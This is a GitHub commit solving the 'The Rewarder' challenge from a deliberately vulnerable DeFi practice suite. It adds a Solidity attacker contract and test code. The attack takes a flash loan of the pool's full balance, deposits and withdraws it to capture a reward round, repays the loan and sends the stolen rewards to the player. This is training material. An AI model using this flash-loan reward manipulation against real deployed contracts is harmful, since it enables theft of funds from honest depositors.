Skip to content

Commit

Permalink
Challenge theredguild#5 The Rewarder
Browse files Browse the repository at this point in the history
  • Loading branch information
Martin Marchev committed May 26, 2023
1 parent 034c85f commit dc8ac8c
Show file tree
Hide file tree
Showing 2 changed files with 49 additions and 4 deletions.
37 changes: 37 additions & 0 deletions contracts/the-rewarder/TheRewardAttacker.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import "./FlashLoanerPool.sol";
import "./TheRewarderPool.sol";

contract TheRewardAttacker {
FlashLoanerPool private flashLoanPool;
TheRewarderPool private rewarderPool;
IERC20 private liquidityToken;
IERC20 private rewardToken;
address private player;

constructor(FlashLoanerPool _flashLoanPool, TheRewarderPool _rewarderPool,
IERC20 _liquidityToken, IERC20 _rewardToken, address _player) {
flashLoanPool = _flashLoanPool;
rewarderPool = _rewarderPool;
liquidityToken = _liquidityToken;
rewardToken = _rewardToken;
player = _player;
}

function attack() external {
uint256 flashLoanPoolBalance = liquidityToken.balanceOf(address(flashLoanPool));
flashLoanPool.flashLoan(flashLoanPoolBalance);
}

function receiveFlashLoan(uint256 amount) external {
liquidityToken.approve(address(rewarderPool), amount);
rewarderPool.deposit(amount);
rewarderPool.withdraw(amount);
liquidityToken.transfer(address(flashLoanPool), amount);
rewardToken.transfer(player, rewardToken.balanceOf(address(this)));
}
}
16 changes: 12 additions & 4 deletions test/the-rewarder/the-rewarder.challenge.js
Original file line number Diff line number Diff line change
Expand Up @@ -50,7 +50,7 @@ describe('[Challenge] The rewarder', function () {

// Advance time 5 days so that depositors can get rewards
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days

// Each depositor gets reward tokens
let rewardsInRound = await rewarderPool.REWARDS();
for (let i = 0; i < users.length; i++) {
Expand All @@ -63,13 +63,21 @@ describe('[Challenge] The rewarder', function () {

// Player starts with zero DVT tokens in balance
expect(await liquidityToken.balanceOf(player.address)).to.eq(0);

// Two rounds must have occurred so far
expect(await rewarderPool.roundNumber()).to.be.eq(2);
});

it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
// Advance time 5 days so that depositors can get rewards
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days

const TheRewardAttackerFactory = await ethers.getContractFactory('TheRewardAttacker', player);
let attacker = await TheRewardAttackerFactory
.deploy(flashLoanPool.address, rewarderPool.address,
liquidityToken.address, rewardToken.address,
player.address);
await attacker.attack();
});

after(async function () {
Expand All @@ -86,7 +94,7 @@ describe('[Challenge] The rewarder', function () {
const delta = userRewards.sub((await rewarderPool.REWARDS()).div(users.length));
expect(delta).to.be.lt(10n ** 16n)
}

// Rewards must have been issued to the player account
expect(await rewardToken.totalSupply()).to.be.gt(await rewarderPool.REWARDS());
const playerRewards = await rewardToken.balanceOf(player.address);
Expand Down

0 comments on commit dc8ac8c

Please sign in to comment.